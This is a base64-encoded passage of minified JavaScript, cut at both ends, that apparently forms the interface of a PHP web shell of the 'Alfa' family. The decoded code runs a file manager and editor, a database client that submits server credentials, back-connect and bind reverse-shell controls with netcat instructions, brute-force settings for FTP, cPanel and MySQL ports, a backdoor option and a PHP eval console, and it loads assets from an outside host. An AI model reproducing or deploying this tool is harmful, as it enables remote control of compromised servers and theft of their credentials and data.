1tb2RhbCIpOiJpZF9kYiI9PWUuc3Vic3RyKDAsNSk/aT0kKGUpOiJ0ZXJtaW5hbF9pZCI9PWUuc3Vic3RyKDAsMTEpP2k9JChlKToiZWRpdG9yIj09ZS5zdWJzdHIoMCw2KT9pPSQoZSk6ImNnaWZyYW1lIj09ZT9pPSQoImNnaWZyYW1lIik6ImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpPyhpPSQoZSkpLnN0eWxlLm1pbkhlaWdodD0iMzAwcHgiOmk9JCgib3B0aW9uXyIrZSksaS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IGlkPSdsb2FkZXJfIitlKydcJyBjbGFzcz0ib3B0aW9ucy1sb2FkZXItaG9sZGVyIj48ZGl2IHBhcmVudD0iJytlKyciIG9uY2xpY2s9ImFsZmFBamF4Q29udHJvbGxlcih0aGlzKTsiIGNsYXNzPSJzdG9wQWpheCI+WyBTdG9wIGl0IF08L2Rpdj48ZGl2IGNsYXNzPSJhbGZhLWFqYXgtZXJyb3IiPjwvZGl2PjxpbWcgc3JjPVwnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvbG9hZGVyLnN2Z1wnPjwvZGl2PicpfWVsc2UiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSkmJigkKGUpLnN0eWxlLm1pbkhlaWdodD0iMCIpLG51bGwhPXQmJih0LnN0eWxlLmRpc3BsYXk9YSl9Y2F0Y2goZSl7fX1mdW5jdGlvbiBmcyhlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSx0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIGRpdi5zZiIpO215c3FsX2NhY2hlLmhhc093blByb3BlcnR5KGEpfHwobXlzcWxfY2FjaGVbYV09e30pLGFsZmFsb2FkZXIoYSwiYmxvY2siKTt2YXIgaT10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWUsbD10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2xvZ2luXSIpLnZhbHVlLG89dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9wYXNzXSIpLnZhbHVlLHI9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9iYXNlXSIpP3QucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKS52YWx1ZTp0LnF1ZXJ5U2VsZWN0b3IoInNlbGVjdFtuYW1lPXNxbF9iYXNlXSIpLnZhbHVlLG49dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT10eXBlXSIpLnZhbHVlLHM9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkPyJ0cnVlIjoiIjtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIlNxbCIpKyImYWxmYTE9IithbGZhYjY0KCJxdWVyeSIpKyImYWxmYTI9JmM9IithbGZhYjY0KGNfKSsiJmNoYXJzZXQ9IithbGZhYjY0KCJVVEYtOCIpKyImdHlwZT0iK2FsZmFiNjQobikrIiZzcWxfaG9zdD0iK2FsZmFiNjQoaSkrIiZzcWxfbG9naW49IithbGZhYjY0KGwpKyImc3FsX3Bhc3M9IithbGZhYjY0KG8pKyImc3FsX2Jhc2U9IithbGZhYjY0KHIpKyImc3FsX2NvdW50PSIrYWxmYWI2NChzKSsiJmN1cnJlbnRfbXlzcWxfaWQ9IithbGZhYjY0KGEpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcERhdGFiYXNlKGUsYSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhKX1mdW5jdGlvbiBjdGxiYyhlKXt2YXIgYT0kKCJiY1N0YXR1cyIpLHQ9JCgiYmNpcEFjdGlvbiIpOyJiaW5kIj09ZS52YWx1ZT8odC5zdHlsZS5kaXNwbGF5PSJub25lIixhLmlubmVySFRNTD0iPHNtYWxsPlByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uIGFuZCBydW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyBzZXJ2ZXJfaXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyPC9zbWFsbD4iKToodC5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLGEuaW5uZXJIVE1MPSI8c21hbGw+UnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgLWwgLXYgLXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbjwvc21hbGw+Iil9ZnVuY3Rpb24gJChlKXtyZXR1cm4gZC5nZXRFbGVtZW50QnlJZChlKX1mdW5jdGlvbiBhZGRuZXd1cCgpe3ZhciBlPSJmb290ZXJ1cF8iK3VwY291bnQsYT0icGZvb3RlcnVwXyIrdXBjb3VudCx0PTEhPXVwY291bnQ/InBmb290ZXJ1cF8iKyh1cGNvdW50LTEpOiJwZm9vdGVydXAiLGk9ZC5jcmVhdGVFbGVtZW50KCJwIik7aS5pbm5lckhUTUw9JzxsYWJlbCBjbGFzcz0iaW5wdXRmaWxlIiBmb3I9IicrZSsnIj48c3BhbiBpZD0iX19mbmFtZXVwJyt1cGNvdW50KyciPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9IicrZSsnIiB0eXBlPSJmaWxlIiBuYW1lPSJmW10iIG9uQ2hhbmdlPSJoYW5kbGV1cCh0aGlzLCcrdXBjb3VudCsnKTsiIG11bHRpcGxlPicsaS5pZD1hLGkuYXBwZW5kQWZ0ZXIoJCh0KSksdXBjb3VudCsrfWZ1bmN0aW9uIGFsZmFfc2VhcmNoZXJfdG9vbChlKXtzd2l0Y2goZSl7Y2FzZSJhbGwiOmNhc2UiZGlycyI6X2FsZmFTZXQoITAsIkRpc2FibGVkIik7YnJlYWs7Y2FzZSJmaWxlcyI6X2FsZmFTZXQoITEsInBocCIpfX1mdW5jdGlvbiBfYWxmYVNldChlLGEpe2Quc3JjaC5leHQuZGlzYWJsZWQ9ZSxkLnNyY2guZXh0LnZhbHVlPWF9ZnVuY3Rpb24gZGlzX2lucHV0KGUpe3N3aXRjaChlKXtjYXNlInBocG15YWRtaW4iOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImh0dHA6Ly8iKTticmVhaztjYXNlImRpcmVjdCI6YnJ1dGVTZXQoITEsIjIyMjIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJjcCI6YnJ1dGVTZXQoITEsIjIwODIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJmdHAiOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImZ0cDovLyIpO2JyZWFrO2Nhc2UibXlzcWwiOmJydXRlU2V0KCExLCIzMzA2IiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwYyI6YnJ1dGVTZXQoITEsIjIxIiwiaHR0cDovLyIpfX1mdW5jdGlvbiBicnV0ZVNldChlLGEsdCl7Yz0iMjEiIT1hPyJsb2NhbGhvc3QiOiJmdHAuZXhhbXBsZS5jb20iLCQoInBvcnQiKS5kaXNhYmxlZD1lLCQoInBvcnQiKS52YWx1ZT1hLCQoInRhcmdldCIpLnZhbHVlPWMsJCgicHJvdG9jb2wiKS52YWx1ZT10fWZ1bmN0aW9uIGluQmFja2Rvb3IoZSl7Im15Ij09ZS52YWx1ZT8kKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjokKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIHNhdmVCeUtleShlKXtyZXR1cm4hKCJzIj09U3RyaW5nLmZyb21DaGFyQ29kZShlLndoaWNoKS50b0xvd2VyQ2FzZSgpJiZlLmN0cmxLZXl8fDE5PT1lLndoaWNoKXx8KCQoImVkaXRvcl9lZGl0X2FyZWEiKS5vbnN1Ym1pdCgpLGUucHJldmVudERlZmF1bHQoKSwhMSl9ZnVuY3Rpb24gYWxmYUFqYXhFcnJvcihlLGEsdCxpKXtpZih2b2lkIDAhPT1hKXt2YXIgbD1kLnF1ZXJ5U2VsZWN0b3IoIiNsb2FkZXJfIithKTtudWxsIT1sJiYoZmlyZXdhbGw9IiIsNDAzPT1lJiYoZmlyZXdhbGw9IiB+IEZpcmVXYWxsIERldGVjdGVkISIpLGwucXVlcnlTZWxlY3RvcigiaW1nIikucmVtb3ZlKCksbC5xdWVyeVNlbGVjdG9yKCIuYWxmYS1hamF4LWVycm9yIikuaW5uZXJIVE1MPWUrIiAoICIrdCtmaXJld2FsbCsiICkiLGFsZmFTaG93Tm90aWZpY2F0aW9uKHQsIkFqYXgiLCJlcnJvciIpKX19ZnVuY3Rpb24gYWxmYUluaXRDd2RDb250ZXh0KCl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuaGVhZGVyX3B3ZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5hZGRFdmVudExpc3RlbmVyKCJjb250ZXh0bWVudSIsZnVuY3Rpb24oZSl7dmFyIGE9ZS50YXJnZXQuZ2V0QXR0cmlidXRlKCJwYXRoIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9bmV3dGFiXSIpO3Quc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApOyIpLHQucmVtb3ZlQXR0cmlidXRlKCJ0YXJnZXQiKSx0Lm9uY2xpY2s9ZnVuY3Rpb24oKXthbGZhRmlsZXNNYW5OZXdUYWIoYSwiLyIpfTt2YXIgaT1lLmNsaWVudFgsbD1lLmNsaWVudFk7YWxmYVNvcnRNZW51SXRlbXMoWyJuZXd0YWIiXSksYWxmYVJpZ2h0Q2xpY2tNZW51KGksbCksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhUmlnaHRDbGlja01lbnUoZSxhKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC50b3A9YSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LmxlZnQ9ZSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LnZpc2liaWxpdHk9InZpc2libGUiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0Lm9wYWNpdHk9IjEifWZ1bmN0aW9uIGFsZmFTb3J0TWVudUl0ZW1zKGUpe3ZhciBhPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiLCJ2aWV3X2FyY2hpdmUiXSx0PSExO2Zvcih2YXIgaSBpbiBhKXtmb3IodmFyIGwgaW4gdD0hMSxlKWFbaV0hPWVbbF18fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHQ9ITApO3R8fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0ibm9uZSIpfX1mdW5jdGlvbiBhbGZhQWNlQ2hhbmdlU2V0dGluZyhlLGEpe3ZhciB0PWUub3B0aW9uc1tlLnNlbGVjdGVkSW5kZXhdLnZhbHVlLGk9ZS5nZXRBdHRyaWJ1dGUoImJhc2UiKSxsPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09aSYmKGw9YWxmYV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbz1lLmdldEF0dHJpYnV0ZSgiYWNlX2lkIik7ImxhbmciPT1hP2xbb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS8iK3QpOiJ0aGVtZSI9PWEmJmxbb10uc2V0VGhlbWUoImFjZS90aGVtZS8iK3QpLHNldENvb2tpZSgiYWxmYV9hY2VfIithKyJfIitpLHQsMjAxMil9ZnVuY3Rpb24gYWxmYUFjZUNoYW5nZVdyYXBNb2RlKGUsYSl7dmFyIHQ9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1hJiYodD1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBpPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTtlLmNoZWNrZWQ/dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKTp0W2ldLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITEpfWZ1bmN0aW9uIGFsZmFBY2VDaGFuZ2VGb250U2l6ZShlLGEsdCl7dmFyIGk9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1lJiYoaT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBsPXQuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKSxvPWlbbF0uZ2V0Rm9udFNpemUoKTsiKyI9PWE/KytvOi0tbyxpW2xdLnNldEZvbnRTaXplKG8pLHNldENvb2tpZSgiYWxmYV9hY2VfZm9udHNpemVfIitlLG8sMjAxMil9ZnVuY3Rpb24gc2V0Q29va2llKGUsYSx0KXt2YXIgaT1uZXcgRGF0ZTtpLnNldFRpbWUoaS5nZXRUaW1lKCkrMjQqdCo2MCo2MCoxZTMpO3ZhciBsPSJleHBpcmVzPSIraS50b1VUQ1N0cmluZygpO2RvY3VtZW50LmNvb2tpZT1lKyI9IithKyI7IitsKyI7cGF0aD0vIn1mdW5jdGlvbiBnZXRDb29raWUoZSl7dmFyIGE9KCI7ICIrZG9jdW1lbnQuY29va2llKS5zcGxpdCgiOyAiK2UrIj0iKTtpZigyPT1hLmxlbmd0aClyZXR1cm4gYS5wb3AoKS5zcGxpdCgiOyIpLnNoaWZ0KCl9ZnVuY3Rpb24gZWRpdG9yQ2xvc2UoZSl7aWYoZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIixlbGVtPSQoZSksZWxlbS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tY2xvc2UiKSwiZWRpdG9yIj09ZSl7aWYoaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiZudWxsIT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcil7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yKWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2FdLmRlc3Ryb3koKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvcj1udWxsLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5uZXJIVE1MPSIiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmlubmVySFRNTD0iIn19ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSlwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiYoZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50cyIpLmlubmVySFRNTD0iIikscGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxjZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7aWYob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZXZhbCl7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZXZhbClhbGZhX2FjZV9lZGl0b3JzLmV2YWxbYV0uZGVzdHJveSgpO2FsZmFfYWNlX2VkaXRvcnMuZXZhbD1udWxsLGQucXVlcnlTZWxlY3RvckFsbCgiLnBocC1ldmFscyIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5yZW1vdmVBdHRyaWJ1dGUoImFjZSIpfSl9fWVsc2UiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlbGVtPSQoZSksZWxlbS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksZWxlbS5zdHlsZS5kaXNwbGF5PSJub25lIiwib3B0aW9uc193aW5kb3ciPT1lJiYoZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc190YWIiKS5pbm5lckhUTUw9IiIsZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19jb250ZW50IikuaW5uZXJIVE1MPSIiKX0sMWUzKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCl7dmFyIGU9e2NnaWxvYWRlcjpjZ2lfaXNfbWluaW1pemVkLG9wdGlvbnNfd2luZG93Om9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCxkYXRhYmFzZV93aW5kb3c6ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCxlZGl0b3I6aXNfbWluaW1pemVkfSxhPVtdO2Zvcih2YXIgdCBpbiBlKWVbdF0mJmEucHVzaCh0KTsxPT1hLmxlbmd0aD8kKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSI6Mj09YS5sZW5ndGg/KCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjUwJSIpOjM9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI2MCUiKTo0PT1hLmxlbmd0aCYmKCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMCUiLCQoYVsxXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIiwkKGFbMl0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjU1JSIsJChhWzNdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI4MCUiKX1mdW5jdGlvbiBzaG93RWRpdG9yKGUpe2lmKCQoZSkuc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLXNob3ciKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLWhpZGUiKSwiZWRpdG9yIj09ZSlpc19taW5pbWl6ZWQ9ITE7ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSljZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExO3ZhciBhPWQucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZS50YWItaXMtZG9uZSIpO251bGwhPWEmJmEuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpLGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIn1mdW5jdGlvbiBlZGl0b3JNaW5pbWl6ZShlKXskKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1taW5pbWl6ZSIpLCQoZSsiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtc2hvdyIpLCJlZGl0b3IiPT1lP2lzX21pbmltaXplZD0hMDoiY2dpbG9hZGVyIj09ZT9jZ2lfaXNfbWluaW1pemVkPSEwOiJvcHRpb25zX3dpbmRvdyI9PWU/b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSEwOiJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMCkscG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIGNsZWFyRWRpdG9ySGlzdG9yeSgpe2lmKGNvbmZpcm0oIkFyZSB1IFN1cmU/IikpZm9yKHZhciBlIGluIGVkaXRvcl9maWxlcyllIT1lZGl0b3JfY3VycmVudF9maWxlJiZyZW1vdmVIaXN0b3J5KGUpfWZ1bmN0aW9uIGlzQXJjaGl2ZShlKXt2YXIgYSx0PVsiLnRhci5neiIsIi50YXIuYnoyIiwiLnRhci56IiwiLnRhci54eiIsIi56aXAiLCIuemlweCIsIi43eiIsIi5iejIiLCIuZ3oiLCIucmFyIiwiLnRhciIsIi50Z3oiXTtmb3IoYSBpbiB0KWlmKG5ldyBSZWdFeHAoIiguKikoIit0W2FdLnJlcGxhY2UoL1wuL2csIlxcLiIpKyIpJCIsImdpIikudGVzdChlKSlyZXR1cm4hMDtyZXR1cm4hMX1mdW5jdGlvbiBlZGl0b3IoZSxhLHQsaSxsLG8pe2lmKCJkaXIiPT1vJiYiLi4iPT1lKXJldHVybiExO2lmKCJkb3dubG9hZCI9PWEpcmV0dXJuIGcoIkZpbGVzVG9vbHMiLGksZSwiZG93bmxvYWQiKSwhMTt2YXIgcj0iIixuPSIiLHM9IiIsYz0iIixmPWQubWYuYy52YWx1ZSxfPSEwO2lmKGU9ZS50cmltKCksMD09T2JqZWN0LmtleXMoZWRpdG9yX2ZpbGVzKS5sZW5ndGgpe3ZhciB1PWdldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIik7dHJ5e2Zvcih2YXIgcCBpbiB1PWF0b2IodSksZWRpdG9yX2ZpbGVzPUpTT04ucGFyc2UodSkpaW5zZXJ0VG9IaXN0b3J5KHAsZWRpdG9yX2ZpbGVzW3BdLmZpbGUsMCxlZGl0b3JfZmlsZXNbcF0udHlwZSl9Y2F0Y2goZSl7fX1pZigicGhhcjovLyI9PWUuc3Vic3RyKDAsNykpZj1jXztlbHNlIGlmKC0xIT1lLmluZGV4T2YoIi8iKSl7dmFyIG09ZS5zcGxpdCgiLyIpO2U9bVttLmxlbmd0aC0xXSxkZWxldGUgbVttLmxlbmd0aC0xXSxmPW0uam9pbigiLyIpLGlzbGludXgmJihmPSIvIitmKX1pZih2b2lkIDA9PT1vJiYobz0iIiksdm9pZCAwIT09aSYmbnVsbCE9aSYmMCE9aS5sZW5ndGgmJihmPWkudHJpbSgpKSwiYXV0byI9PWEmJmlzQXJjaGl2ZShlKSlyZXR1cm4gYWxmYVN5bmNNZW51VG9PcHQoZSwhMCksITE7dHJ5e2Zvcih2YXIgdiBpbiBlZGl0b3JfZmlsZXMpaWYoZWRpdG9yX2ZpbGVzW3ZdLmZpbGU9PWRlY29kZVVSSUNvbXBvbmVudChlKSYmZWRpdG9yX2ZpbGVzW3ZdLnB3ZC5yZXBsYWNlKC9cLy9nLCIiKT09Zi5yZXBsYWNlKC9cLy9nLCIiKSl7Xz0hMSxsPXY7YnJlYWt9fWNhdGNoKGUpe31pZihlZGl0b3JfZXJyb3I9ITAsdm9pZCAwIT09dCYmMCE9dC5sZW5ndGgmJm51bGwhPXQmJihyPWFsZmFiNjQodCkpLHZvaWQgMCE9PWwmJm51bGwhPWwmJjAhPWwubGVuZ3RoKW49YWxmYWI2NChsKSxzPWwsYz1sLnJlcGxhY2UoImZpbGVfIiwiIik7ZWxzZXt2YXIgaD0iZmlsZV8iKyhjPWdldFJhbmRvbSgxMCkpO249YWxmYWI2NChoKSxzPWh9dmFyIGI9ImVkaXRvcl9zb3VyY2VfIitjO2lmKG51bGw9PSQoYikpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIjxkaXYgb25jbGljaz0nZWRpdG9yVGFiQ29udHJvbGxlcih0aGlzKTsnIG9wdF9pZD0nIitiKyInIGlkPSd0YWJfIitiKyInIGNsYXNzPSdlZGl0b3ItdGFiLW5hbWUgZWRpdG9yLXRhYi1hY3RpdmUnPiIrZGVjb2RlVVJJQ29tcG9uZW50KGUpKyIgPGltZyBvcHRfaWQ9JyIrYisiJyBvbmNsaWNrPSdjbG9zZUVkaXRvckNvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOycgdGl0bGU9J1tjbG9zZV0nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmcnPjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50cyBlZGl0b3ItY29udGVudC1hY3RpdmUnIGlkPSciK2IrIic+PC9kaXY+Iil9cmV0dXJuIDA9PWlzX21pbmltaXplZCYmIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PygkKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsc2hvd0VkaXRvcigiZWRpdG9yIiksYWxmYWxvYWRlcihiLCJibG9jayIpKTooaXNfbWluaW1pemVkJiZzaG93RWRpdG9yKCJlZGl0b3IiKSxudWxsIT0kKGIpP2FsZmFsb2FkZXIoYiwiYmxvY2siKTooYWxmYWxvYWRlcigiZWRpdG9yIiwiYmxvY2siKSxiPSJlZGl0b3IiKSksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJGaWxlc1Rvb2xzIikrIiZjPSIrYWxmYWI2NChmKSsiJmFsZmExPSIrYWxmYWI2NChlKSsiJmFsZmEyPSIrYWxmYWI2NChhKSsiJmFsZmEzPSIrcisiJmFsZmE0PSIrbisiJmFsZmE1PSZhbGZhNj0mYWxmYTc9JmFsZmE4PSZhbGZhOT0mYWxmYTEwPSYmYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbih0LGkpe3ZhciBsPSQoInRhYl8iK2kpO3RyeXtudWxsIT1sJiYoKC0xPT1sLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfHxpc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yOiAiK2wuaW5uZXJUZXh0KSksaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKSl9Y2F0Y2godCl7fWlmKCJub25lIj09JCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT9hbGZhTG9hZGVyT25Ub3AoIm5vbmUiKTphbGZhbG9hZGVyKGksIm5vbmUiKSxyLmxlbmd0aD4wJiYiZWRpdCI9PWEpcmV0dXJuIGlzX21pbmltaXplZHx8bnVsbCE9bCYmLTEhPWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIikmJmFsZmFTaG93Tm90aWZpY2F0aW9uKCJzYXZlZC4uLiEiLCJFZGl0b3IiKSwhMTtpZihudWxsIT0kKGkpJiYoJChpKS5pbm5lckhUTUw9dCksaXNfbWluaW1pemVkJiZhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsIkVkaXRvcjogIitkZWNvZGVVUklDb21wb25lbnQoZSkpLCQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixldmFsSlModCksYWxmYUxvYWRBY2VFZGl0b3IoInZpZXdfbWxfY29udGVudCIpLCJkZWxldGUiIT1hJiZlZGl0b3JfZXJyb3Ipe3ZhciBjPWQuZ2V0RWxlbWVudHNCeUN